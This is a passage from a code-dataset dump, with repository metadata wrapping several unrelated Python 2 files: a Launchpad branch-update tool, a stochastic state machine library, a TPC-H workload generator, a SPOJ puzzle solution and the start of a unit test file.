Canonical Ltd. This software is licensed under the\n# GNU Affero General Public License version 3 (see the file LICENSE).\n\n\"\"\"Tools for maintaining the Launchpad source code.\"\"\"\n\n__metaclass__ = type\n__all__ = [\n 'interpret_config',\n 'parse_config_file',\n 'plan_update',\n ]\n\nimport errno\nimport json\nimport optparse\nimport os\nimport shutil\nimport sys\n\nfrom bzrlib import ui\nfrom bzrlib.branch import Branch\nfrom bzrlib.errors import (\n BzrError,\n IncompatibleRepositories,\n NotBranchError,\n )\nfrom bzrlib.plugin import load_plugins\nfrom bzrlib.revisionspec import RevisionSpec\nfrom bzrlib.trace import (\n enable_default_logging,\n report_exception,\n )\nfrom bzrlib.upgrade import upgrade\nfrom bzrlib.workingtree import WorkingTree\n\nfrom devscripts import get_launchpad_root\n\n\ndef parse_config_file(file_handle):\n \"\"\"Parse the source code config file 'file_handle'.\n\n :param file_handle: A file-like object containing sourcecode\n configuration.\n :return: A sequence of lines of either '[key, value]' or\n '[key, value, optional]'.\n \"\"\"\n for line in file_handle:\n if line == '\\n' or line.startswith('#'):\n continue\n yield line.split()\n\n\ndef interpret_config_entry(entry, use_http=False):\n \"\"\"Interpret a single parsed line from the config file.\"\"\"\n branch_name = entry[0]\n components = entry[1].split(';revno=')\n branch_url = components[0]\n if use_http:\n branch_url = branch_url.replace('lp:', 'http://bazaar.launchpad.net/')\n if len(components) == 1:\n revision = None\n else:\n assert len(components) == 2, 'Bad branch URL: ' + entry[1]\n revision = components[1] or None\n if len(entry) > 2:\n assert len(entry) == 3 and entry[2].lower() == 'optional', (\n 'Bad configuration line: should be space delimited values of '\n 'sourcecode directory name, branch URL [, \"optional\"]\\n' +\n ' '.join(entry))\n optional = True\n else:\n optional = False\n return branch_name, branch_url, revision, optional\n\n\ndef load_cache(cache_filename):\n try:\n cache_file = open(cache_filename, 'rb')\n except IOError as e:\n if e.errno == errno.ENOENT:\n return {}\n else:\n raise\n with cache_file:\n return json.load(cache_file)\n\n\ndef interpret_config(config_entries, public_only, use_http=False):\n \"\"\"Interpret a configuration stream, as parsed by 'parse_config_file'.\n\n :param configuration: A sequence of parsed configuration entries.\n :param public_only: If true, ignore private/optional branches.\n :param use_http: If True, force all branch URLs to use http://\n :return: A dict mapping the names of the sourcecode dependencies to a\n 2-tuple of their branches and whether or not they are optional.\n \"\"\"\n config = {}\n for entry in config_entries:\n branch_name, branch_url, revision, optional = interpret_config_entry(\n entry, use_http)\n if not optional or not public_only:\n config[branch_name] = (branch_url, revision, optional)\n return config\n\n\ndef _subset_dict(d, keys):\n \"\"\"Return a dict that's a subset of 'd', based on the keys in 'keys'.\"\"\"\n return dict((key, d[key]) for key in keys)\n\n\ndef plan_update(existing_branches, configuration):\n \"\"\"Plan the update to existing branches based on 'configuration'.\n\n :param existing_branches: A sequence of branches that already exist.\n :param configuration: A dictionary of sourcecode configuration, such as is\n returned by `interpret_config`.\n :return: (new_branches, update_branches, removed_branches), where\n 'new_branches' are the branches in the configuration that don't exist\n yet, 'update_branches' are the branches in the configuration that do\n exist, and 'removed_branches' are the branches that exist locally, but\n not in the configuration. 'new_branches' and 'update_branches' are\n dicts of the same form as 'configuration', 'removed_branches' is a\n set of the same form as 'existing_branches'.\n \"\"\"\n existing_branches = set(existing_branches)\n config_branches = set(configuration.keys())\n new_branches = config_branches - existing_branches\n removed_branches = existing_branches - config_branches\n update_branches = config_branches.intersection(existing_branches)\n return (\n _subset_dict(configuration, new_branches),\n _subset_dict(configuration, update_branches),\n removed_branches)\n\n\ndef find_branches(directory):\n \"\"\"List the directory names in 'directory' that are branches.\"\"\"\n branches = []\n for name in os.listdir(directory):\n if name in ('.', '..'):\n continue\n try:\n Branch.open(os.path.join(directory, name))\n branches.append(name)\n except NotBranchError:\n pass\n return branches\n\n\ndef get_revision_id(revision, from_branch, tip=False):\n \"\"\"Return revision id for a revision number and a branch.\n\n If the revision is empty, the revision_id will be None.\n\n If ``tip`` is True, the revision value will be ignored.\n \"\"\"\n if not tip and revision:\n spec = RevisionSpec.from_string(revision)\n return spec.as_revision_id(from_branch)\n # else return None\n\n\ndef _format_revision_name(revision, tip=False):\n \"\"\"Formatting helper to return human-readable identifier for revision.\n\n If ``tip`` is True, the revision value will be ignored.\n \"\"\"\n if not tip and revision:\n return 'revision %s' % (revision,)\n else:\n return 'tip'\n\n\ndef get_branches(sourcecode_directory, new_branches,\n possible_transports=None, tip=False, quiet=False):\n \"\"\"Get the new branches into sourcecode.\"\"\"\n for project, (branch_url, revision, optional) in new_branches.iteritems():\n destination = os.path.join(sourcecode_directory, project)\n try:\n remote_branch = Branch.open(\n branch_url, possible_transports=possible_transports)\n except BzrError:\n if optional:\n report_exception(sys.exc_info(), sys.stderr)\n continue\n else:\n raise\n possible_transports.append(\n remote_branch.bzrdir.root_transport)\n if not quiet:\n print 'Getting %s from %s at %s' % (\n project, branch_url, _format_revision_name(revision, tip))\n # If the 'optional' flag is set, then it's a branch that shares\n # history with Launchpad, so we should share repositories. Otherwise,\n # we should avoid sharing repositories to avoid format\n # incompatibilities.\n force_new_repo = not optional\n revision_id = get_revision_id(revision, remote_branch, tip)\n remote_branch.bzrdir.sprout(\n destination, revision_id=revision_id, create_tree_if_local=True,\n source_branch=remote_branch, force_new_repo=force_new_repo,\n possible_transports=possible_transports)\n\n\ndef find_stale(updated, cache, sourcecode_directory, quiet):\n \"\"\"Find branches whose revision info doesn't match the cache.\"\"\"\n new_updated = dict(updated)\n for project, (branch_url, revision, optional) in updated.iteritems():\n cache_revision_info = cache.get(project)\n if cache_revision_info is None:\n continue\n if cache_revision_info[0] != int(revision):\n continue\n destination = os.path.join(sourcecode_directory, project)\n try:\n branch = Branch.open(destination)\n except BzrError:\n continue\n if list(branch.last_revision_info()) != cache_revision_info:\n continue\n if not quiet:\n print '%s is already up to date.' % project\n del new_updated[project]\n return new_updated\n\n\ndef update_cache(cache, cache_filename, changed, sourcecode_directory, quiet):\n \"\"\"Update the cache with the changed branches.\"\"\"\n old_cache = dict(cache)\n for project, (branch_url, revision, optional) in changed.iteritems():\n destination = os.path.join(sourcecode_directory, project)\n branch = Branch.open(destination)\n cache[project] = list(branch.last_revision_info())\n if cache == old_cache:\n return\n with open(cache_filename, 'wb') as cache_file:\n json.dump(cache, cache_file, indent=4, sort_keys=True)\n if not quiet:\n print 'Cache updated. Please commit \"%s\".' % cache_filename\n\n\ndef update_branches(sourcecode_directory, update_branches,\n possible_transports=None, tip=False, quiet=False):\n \"\"\"Update the existing branches in sourcecode.\"\"\"\n if possible_transports is None:\n possible_transports = []\n # XXX: JonathanLange 2009-11-09: Rather than updating one branch after\n # another, we could instead try to get them in parallel.\n for project, (branch_url, revision, optional) in (\n update_branches.iteritems()):\n # Update project from branch_url.\n destination = os.path.join(sourcecode_directory, project)\n if not quiet:\n print 'Updating %s to %s' % (\n project, _format_revision_name(revision, tip))\n local_tree = WorkingTree.open(destination)\n try:\n remote_branch = Branch.open(\n branch_url, possible_transports=possible_transports)\n except BzrError:\n if optional:\n report_exception(sys.exc_info(), sys.stderr)\n continue\n else:\n raise\n possible_transports.append(\n remote_branch.bzrdir.root_transport)\n revision_id = get_revision_id(revision, remote_branch, tip)\n try:\n result = local_tree.pull(\n remote_branch, stop_revision=revision_id, overwrite=True,\n possible_transports=possible_transports)\n except IncompatibleRepositories:\n # XXX JRV 20100407: Ideally remote_branch.bzrdir._format\n # should be passed into upgrade() to ensure the format is the same\n # locally and remotely. Unfortunately smart server branches\n # have their _format set to RemoteFormat rather than an actual\n # format instance.\n upgrade(destination)\n # Upgraded, repoen working tree\n local_tree = WorkingTree.open(destination)\n result = local_tree.pull(\n remote_branch, stop_revision=revision_id, overwrite=True,\n possible_transports=possible_transports)\n if result.old_revid == result.new_revid:\n if not quiet:\n print ' (No change)'\n else:\n if result.old_revno < result.new_revno:\n change = 'Updated'\n else:\n change = 'Reverted'\n if not quiet:\n print ' (%s from %s to %s)' % (\n change, result.old_revno, result.new_revno)\n\n\ndef remove_branches(sourcecode_directory, removed_branches, quiet=False):\n \"\"\"Remove sourcecode that's no longer there.\"\"\"\n for project in removed_branches:\n destination = os.path.join(sourcecode_directory, project)\n if not quiet:\n print 'Removing %s' % project\n try:\n shutil.rmtree(destination)\n except OSError:\n os.unlink(destination)\n\n\ndef update_sourcecode(sourcecode_directory, config_filename, cache_filename,\n public_only, tip, dry_run, quiet=False, use_http=False):\n \"\"\"Update the sourcecode.\"\"\"\n config_file = open(config_filename)\n config = interpret_config(\n parse_config_file(config_file), public_only, use_http)\n config_file.close()\n cache = load_cache(cache_filename)\n branches = find_branches(sourcecode_directory)\n new, updated, removed = plan_update(branches, config)\n possible_transports = []\n if dry_run:\n print 'Branches to fetch:', new.keys()\n print 'Branches to update:', updated.keys()\n print 'Branches to remove:', list(removed)\n else:\n get_branches(\n sourcecode_directory, new, possible_transports, tip, quiet)\n updated = find_stale(updated, cache, sourcecode_directory, quiet)\n update_branches(\n sourcecode_directory, updated, possible_transports, tip, quiet)\n changed = dict(updated)\n changed.update(new)\n update_cache(\n cache, cache_filename, changed, sourcecode_directory, quiet)\n remove_branches(sourcecode_directory, removed, quiet)\n\n\n# XXX: JonathanLange 2009-09-11: By default, the script will operate on the\n# current checkout. Most people only have symlinks to sourcecode in their\n# checkouts. This is fine for updating, but breaks for removing (you can't\n# shutil.rmtree a symlink) and breaks for adding, since it adds the new branch\n# to the checkout, rather than to the shared sourcecode area. Ideally, the\n# script would see that the sourcecode directory is full of symlinks and then\n# follow these symlinks to find the shared source directory. If the symlinks\n# differ from each other (because of developers fiddling with things), we can\n# take a survey of all of them, and choose the most popular.\n\n\ndef main(args):\n parser = optparse.OptionParser(\"usage: %prog [options] [root [conffile]]\")\n parser.add_option(\n '--public-only', action='store_true',\n help='Only fetch/update the public sourcecode branches.')\n parser.add_option(\n '--tip', action='store_true',\n help='Ignore revision constraints for all branches and pull tip')\n parser.add_option(\n '--dry-run', action='store_true',\n help='Do nothing, but report what would have been done.')\n parser.add_option(\n '--quiet', action='store_true',\n help=\"Don't print informational messages.\")\n parser.add_option(\n '--use-http', action='store_true',\n help=\"Force bzr to use http to get the sourcecode branches \"\n \"rather than using bzr+ssh.\")\n options, args = parser.parse_args(args)\n root = get_launchpad_root()\n if len(args) > 1:\n sourcecode_directory = args[1]\n else:\n sourcecode_directory = os.path.join(root, 'sourcecode')\n if len(args) > 2:\n config_filename = args[2]\n else:\n config_filename = os.path.join(root, 'utilities', 'sourcedeps.conf')\n cache_filename = os.path.join(\n root, 'utilities', 'sourcedeps.cache')\n if len(args) > 3:\n parser.error(\"Too many arguments.\")\n if not options.quiet:\n print 'Sourcecode: %s' % (sourcecode_directory,)\n print 'Config: %s' % (config_filename,)\n enable_default_logging()\n # Tell bzr to use the terminal (if any) to show progress bars\n ui.ui_factory = ui.make_ui_for_terminal(\n sys.stdin, sys.stdout, sys.stderr)\n load_plugins()\n update_sourcecode(\n sourcecode_directory, config_filename, cache_filename,\n options.public_only, options.tip, options.dry_run, options.quiet,\n options.use_http)\n return 0\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":691,"cells":{"__id__":{"kind":"number","value":6365141534739,"string":"6,365,141,534,739"},"blob_id":{"kind":"string","value":"c6035f823ff66418d3ac3c74ef57e97c5ed20177"},"directory_id":{"kind":"string","value":"98c46168e904b48482d7222b8d6b013ed50bfe86"},"path":{"kind":"string","value":"/ssm.py"},"content_id":{"kind":"string","value":"debc125c2d62ac3cc168abaf9d5dd7c441d9aa16"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"bboyjacks/Python-Codes"},"repo_url":{"kind":"string","value":"https://github.com/bboyjacks/Python-Codes"},"snapshot_id":{"kind":"string","value":"4beae70bcca75c2873621df73fccebf54752656b"},"revision_id":{"kind":"string","value":"46ca5f7c2d46e75c1d69cc72fec8f8c6578e89e1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T11:41:47.980675","string":"2016-09-06T11:41:47.980675"},"revision_date":{"kind":"timestamp","value":"2014-06-21T04:37:38","string":"2014-06-21T04:37:38"},"committer_date":{"kind":"timestamp","value":"2014-06-21T04:37:38","string":"2014-06-21T04:37:38"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#-----------STOCHASTIC STATE MACHINE----------------\n#\n#\tThe following library implements discrete distributions,\n#\tstochastic state machines and state estimators.\n#\n#\n#\tScott's Note: This project was not fully completed, as the SSM\n#\tonly works without input, since a fully generalized JDist class\n#\twasn't created. It's only a demonstration, so full testing suites\n#\tand correct modularization have also not been fully implemented\n#\n#---------------------------------------------------\n\nimport sm\nimport random\n\n\n\n#-----Discrete Distribution----------\n#\tThe following class stores discrete distributions\n#\tby using a dictionary which associates events and\n# \ttheir probabilities\n#------------------------------------\nclass DDist():\n\tdef __init__(self, dictionary):\n\t\tself.d = dictionary\n\n\t#returns the probability of an event\n\tdef prob(self, event):\n\t\tif event in self.d:\n\t\t\tp = self.d[event]\n\t\telse:\n\t\t\tp = 0\n\t\treturn p\n\t\n\t#returns a list of all possible events\n\tdef support(self):\n\t\treturn [k for k in self.d.keys() if self.prob(k) > 0]\n\t\t\n\t#draws an element from the distribution\n\tdef draw(self):\n\t\tr = random.random()\n\t\tprobSum = 0.0\n\t\tfor event in self.support():\n\t\t\tprobSum += self.prob(event)\n\t\t\tif r < probSum:\n\t\t\t\treturn event\n\t\t\t\t\n\t\tprint \"Error: draw() failed to find an event.\"\n\t\treturn None\n\t\t\n\tdef output(self):\n\t\tfor k in self.support():\n\t\t\tprint k,\": \",self.d[k],\"\\n\"\n\t\t\ndef testSuite_DDist():\n\tchance = 1.0/6.0\n\tdie = DDist({1:chance,2:chance,3:chance,4:chance,5:chance,6:chance})\n\tweightedDie = DDist({1:chance/2,2:chance/2,3:chance,4:chance,5:chance*2,6:chance*2})\n\tprint die.support()\n\tfor i in range(10):\n\t\tprint die.draw()\n\tfor i in range(10):\n\t\tprint weightedDie.draw()\n\t\t\n#------JOINT DISTRIBUTION--------------\n#\tThis class allows you to create a joint distribution\n#\tgiven a distribution and a function for calculating\n#\tthe conditional distribution given that distribution\n#--------------------------------------\nclass JDist(DDist):\n\t\n\t#Takes a distribution of a random variable and the\n\t#function which determines the conditional distribution\n\tdef __init__(self, pA, pBgivenA):\n\t\tself.d = {}\n\t\tpossibleAs = pA.support()\n\t\tfor a in possibleAs:\n\t\t\tconditional = pBgivenA(a)\n\t\t\tfor b in conditional.support():\n\t\t\t\tself.d[(a,b)] = pA.prob(a)*conditional.prob(b)\n\t\t\t\t\n\t#returns the individual distribution of just one of the\n\t#two random variable components\t\t\t\n\tdef marginalizeOut(self, variable):\t\t\t\n\t\tnewD = {}\n\t\tfor event in self.d.keys():\n\t\t\tnewEvent = removeElt(event, variable)\n\t\t\tincrDictEntry(newD, newEvent, self.prob(event))\n \t\treturn(DDist(newD))\n\n\t#returns the distribution of a variable, given the value\n\t#of the other variable\n\tdef conditionOn(self, variable, value):\n\t\tnewD = {}\n\t\ttotalProb = 0.0\n\t\t\n\t\t#first construct an incomplete distribution, with only\n\t\t#the joint probabilities of valued elements\n\t\tfor event in self.d.keys():\n\t\t\tif event[variable] == value:\n\t\t\t\tindivProb = self.d[event]\n\t\t\t\ttotalProb += indivProb\n\t\t\t\tnewEvent = removeElt(event, variable)\n\t\t\t\tnewD[newEvent] = indivProb\n\t\t\n\t\t#divide by the total sub-probability to ensure all\n\t\t#probabilities sum to 1\n\t\tfor subEvent in newD.keys():\n\t\t\tnewD[subEvent] /= totalProb\n\t\t\n\t\treturn(DDist(newD))\n\t\t\t\t\n\tdef output(self):\n\t\tfor event in self.d.keys():\n\t\t\tprint \"Event \",event,\" has a \",self.prob(event),\" probability.\"\n\t\t\t\ndef removeElt(items, i):\n\tresult = items[:i] + items[i+1:]\n\tif len(result)==1:\n\t\treturn result[0]\n\telse:\n\t\treturn result\n\ndef incrDictEntry(d, k, v):\n\tif d.has_key(k):\n\t\td[k] += v\n\telse:\n\t\td[k] = v\t\t\t\n\t\t\t\ndef testSuite_JDist():\n\tpIll = DDist({'disease':.01, 'no disease':.99})\n\tdef pSymptomGivenIllness(status):\n\t\tif status == 'disease':\n\t\t\treturn(DDist({'cough':.9, 'none':.1}))\n\t\telif status == 'no disease':\n\t\t\treturn(DDist({'cough':.05, 'none':.95}))\n\t\n\tjIllnessSymptoms = JDist(pIll, pSymptomGivenIllness)\n\t\n\tjIllnessSymptoms.output()\n\t\n\tdSymptoms = jIllnessSymptoms.marginalizeOut(0)\n\tprint \"Symptoms include: \\n\", dSymptoms.d\t\n\t\n\tsymptomsGivenIll = jIllnessSymptoms.conditionOn(0,'no disease')\n\tprint \"Symptoms given no disease: \\n\", symptomsGivenIll.d\n\t\n#===================STOCHASTIC STATE MACHINE===================\n\nclass SSM(sm.SM):\n\tdef __init__(self, prior, transition, observation):\n\t\tself.prior = prior\n\t\tself.transition = transition\n\t\tself.observation = observation\n\t\t\n\tdef startState(self):\n\t\treturn self.prior.draw()\n\t\n\tdef getNextValues(self, state, inp):\n\t\treturn(self.transition(inp)(state).draw(), self.observation(state).draw())\n\t\t\ndef testSuite_SSM():\n\t\n\tprior = DDist({'good':0.9, 'bad':0.1})\n\n\tdef observationModel(state):\n\t\tif state == 'good':\n\t\t\treturn DDist({'perfect':0.8, 'smudged':0.1, 'black':0.1})\n\t\telse:\n\t\t\treturn DDist({'perfect':0.1, 'smudged':0.7, 'black':0.2})\n\t\n\tdef transitionModel(input):\n\t\tdef transitionGivenInput(oldState):\n\t\t\tif oldState == 'good':\n\t\t\t\treturn DDist({'good':0.7, 'bad':0.3})\n\t\t\telse:\n\t\t\t\treturn DDist({'good':0.1, 'bad':0.9})\n\t\treturn transitionGivenInput\n\t\t\t\n\tcopyMachine = SSM(prior,transitionModel,observationModel)\n\t\n\tprint copyMachine.transduce(['copy']*20)\n\t\n#==========STOCHASTIC STATE ESTIMATOR==============\t\n\t\nclass SSE(sm.SM): \t\n\t\n\tdef __init__(self, machine):\n\t\tself.machine = machine\n\t\tself.startState = machine.prior\n\t\tself.transitionModel = machine.transition\n\t\tself.observationModel = machine.observation\n\t\t\n\t#Keep in mind for a Stochastic State Estimator the input\n\t#must be the last observed value and the state is the Bayesian\n\t#Machine's degree of belief, expressed as a probability distribution\n\t#over all known internal states belonging to the SSM\t\n\tdef getNextValues(self, state, inp):\n\t\t\n\t\t#First, calculate an updated belief of the last state, given\n\t\t#the known output\n\t\t\n\t\t\n\t\t#Calculates Pr(S|O = obs)\n\t\tbelief = JDist(state, self.observationModel).conditionOn(1, inp)\n\t\t\n\t\t\n\t\t#Second, run the belief state through the transition model\n\t\t#to predict the current state of the machine\n\t\tn=0\n\t\tpartialDist={}\n\t\tfor possibility in belief.d.keys():\t\t\t\t\t\t\t#go through all states\n\t\t\tpartialDist[n] = self.transitionModel(0)(possibility).d\t#figure out what would happen, were you in that state\n\t\t\tfor event in partialDist[n].keys():\n\t\t\t\tpartialDist[n][event] *= belief.prob(possibility)\t#multiply by the chance you actually were in that state\n\t\t\tn+=1\n\t\ttotalDist = partialDist[0]\n\t\tfor event in partialDist[0].keys():\t\t\n\t\t\tfor count in range(1, n):\n\t\t\t\ttotalDist[event] += partialDist[count][event]\t\t\t#sum up the partial probabilities\n\t\t\t\t\n\t\tbeliefPrime = DDist(totalDist)\n\t\t\n\t\t\n\t\treturn (beliefPrime, beliefPrime)\t\t\n\t\t\ndef testSuite_SSE():\n\t\n\tprior = DDist({'good':0.9, 'bad':0.1})\n\n\tdef observationModel(state):\n\t\tif state == 'good':\n\t\t\treturn DDist({'perfect':0.8, 'smudged':0.1, 'black':0.1})\n\t\telse:\n\t\t\treturn DDist({'perfect':0.1, 'smudged':0.7, 'black':0.2})\n\t\n\tdef transitionModel(input):\n\t\tdef transitionGivenInput(oldState):\n\t\t\tif oldState == 'good':\n\t\t\t\treturn DDist({'good':0.7, 'bad':0.3})\n\t\t\telse:\n\t\t\t\treturn DDist({'good':0.1, 'bad':0.9})\n\t\treturn transitionGivenInput\n\t\t\t\n\tcopyMachine = SSM(prior,transitionModel,observationModel)\n\tcopyEstimator = SSE(copyMachine)\n\t\n\tcopyMachine.start()\n\tcopyEstimator.start()\n\t\n\tfor n in range(20):\n\t\t\n\t\tobservation = copyMachine.step(\"copy\")\n\t\tprint \"Copy machine => \", observation\n\t\tbelief = copyEstimator.step(observation)\n\t\tprint \"Estimate of copier's status: \\n\", belief.output(),\"\\n\\n\"\n\t\n#============================MAIN==============================\n\ndef main():\n\n\n\ttestSuite_SSE()\t\t\n\tprint \"Program complete.\"\n\t\n\t\n#This will run the testing suite if the program is run directly\t\nif __name__ == '__main__':\n\tmain()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":692,"cells":{"__id__":{"kind":"number","value":5325759464469,"string":"5,325,759,464,469"},"blob_id":{"kind":"string","value":"49f596c1d187547f7da2045cd96a2dcfcf72a6fc"},"directory_id":{"kind":"string","value":"9e6f5a5402d4cd670c562aa542eb597c31d87711"},"path":{"kind":"string","value":"/create_query_set.py"},"content_id":{"kind":"string","value":"dd46024b999a93faaa77b40f406753cf9e982e27"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"pwendell/tpch"},"repo_url":{"kind":"string","value":"https://github.com/pwendell/tpch"},"snapshot_id":{"kind":"string","value":"7b3ed6f9aa57df8ddd424c89444fa02e495723ec"},"revision_id":{"kind":"string","value":"cf54fdd97c4859a79af0df93d04f27854c988187"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-16T00:22:13.816471","string":"2021-01-16T00:22:13.816471"},"revision_date":{"kind":"timestamp","value":"2013-10-21T18:12:42","string":"2013-10-21T18:12:42"},"committer_date":{"kind":"timestamp","value":"2013-10-21T18:12:42","string":"2013-10-21T18:12:42"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import random\n\nTIMES_PER_QUERY=500\nNUM_PERMUTATIONS=15\n\nrandom.seed(12345)\n\ndef get_file(filename):\n return \"\".join(open(filename).readlines())\n\nqueries_to_add = [\"denorm_tpch/q3_shipping_priority_confirmed.hive\",\n \"denorm_tpch/q4_order_priority_confirmed.hive\",\n \"denorm_tpch/q6_forecast_revenue_change_confirmed.hive\",\n# \"denorm_tpch/q2_minimum_cost_supplier_confirmed.hive\",\n \"denorm_tpch/q12_shipping_confirmed.hive\"]\n\ndenorm = get_file(\"make_denorm_cached.hql\")\n\nfor x in range(NUM_PERMUTATIONS):\n f = open(\"workloads/tpch_workload_%s\" % (x + 1), 'w')\n f.write(denorm)\n for k in range(TIMES_PER_QUERY):\n random.shuffle(queries_to_add)\n for q in queries_to_add:\n query = get_file(q)\n f.write(query)\n f.close()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":693,"cells":{"__id__":{"kind":"number","value":1803886286237,"string":"1,803,886,286,237"},"blob_id":{"kind":"string","value":"e97d43803256d8e9d1bd3e25f8291350d309c58a"},"directory_id":{"kind":"string","value":"6f90574191e757f3a09e29230539efa73ce10a0a"},"path":{"kind":"string","value":"/spoj/python/toandfro.py"},"content_id":{"kind":"string","value":"152bba20118755037889cca916706dfa6b49688a"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"importerror/programming-contests"},"repo_url":{"kind":"string","value":"https://github.com/importerror/programming-contests"},"snapshot_id":{"kind":"string","value":"e4642def717787ec071de506ad4befe166a94881"},"revision_id":{"kind":"string","value":"0979a4ce3c270ae49e514ad1b6ede48c6cdf82a2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-05-27T05:47:22.369856","string":"2021-05-27T05:47:22.369856"},"revision_date":{"kind":"timestamp","value":"2013-01-05T02:49:41","string":"2013-01-05T02:49:41"},"committer_date":{"kind":"timestamp","value":"2013-01-05T02:49:41","string":"2013-01-05T02:49:41"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\nfrom array import array\nsize = int(raw_input())\nwhile size:\n line = array('c', ' '+raw_input())\n res = ''\n down = 1\n max = len(line) - 1\n up = max / size\n twsize = size*2\n for _ in xrange(size):\n pos = twsize + 1\n res += line[down]\n for _ in xrange(up):\n if pos - down > max:\n break\n res += line[pos - down]\n if pos + down - 1 <= max:\n res += line[pos + down - 1]\n pos += twsize\n down += 1\n \n print res\n \n size = int(raw_input())"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":694,"cells":{"__id__":{"kind":"number","value":16827681898148,"string":"16,827,681,898,148"},"blob_id":{"kind":"string","value":"fe58d4cfd4790bd248dcdc849fc1b00a6add1bfa"},"directory_id":{"kind":"string","value":"fbd0aa68bdbb32fa9416617fa89725a948bc830b"},"path":{"kind":"string","value":"/tests/lib/util/io/tests.py"},"content_id":{"kind":"string","value":"17391b5641bc85a80be97863d633a1c98c4a4925"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only","LicenseRef-scancode-unknown-license-reference"],"string":"[\n \"GPL-2.0-only\",\n \"LicenseRef-scancode-unknown-license-reference\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"hacklabcz/pearl"},"repo_url":{"kind":"string","value":"https://github.com/hacklabcz/pearl"},"snapshot_id":{"kind":"string","value":"e0aed48fec6c9a13a6b4b043799b0a5c5db995c6"},"revision_id":{"kind":"string","value":"657b101fc58c9549341ff5db78a96e9d1ddf8759"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T12:03:33.482205","string":"2021-01-18T12:03:33.482205"},"revision_date":{"kind":"timestamp","value":"2013-02-17T14:02:43","string":"2013-02-17T14:02:43"},"committer_date":{"kind":"timestamp","value":"2013-02-17T14:02:43","string":"2013-02-17T14:02:43"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/python\n\n\nimport unittest\nimport os\nimport random\n\nfrom util.io import append_entry, get_entry, remove_entry, get_list, get_len\nfrom util.io import DirectoryPathError\n\nfrom util.io import Property\n\nclass SerializeTestCase(unittest.TestCase):\n def setUp(self):\n self.path = '/tmp/serial_object'\n self.el1 = [1,3.4, 'ciao']\n self.el2 = {1:['el'], '2':23}\n \n def tearDown(self):\n \"\"\"\n Deletes the file for the next tests.\n \"\"\"\n if os.path.exists(self.path):\n os.system('rm '+ self.path)\n \n ########### POSITIVE TESTS ##########\n def test_sanity_check(self):\n \"\"\"\n Checks out if the initial elements that'll be appended into the file are\n equals to the 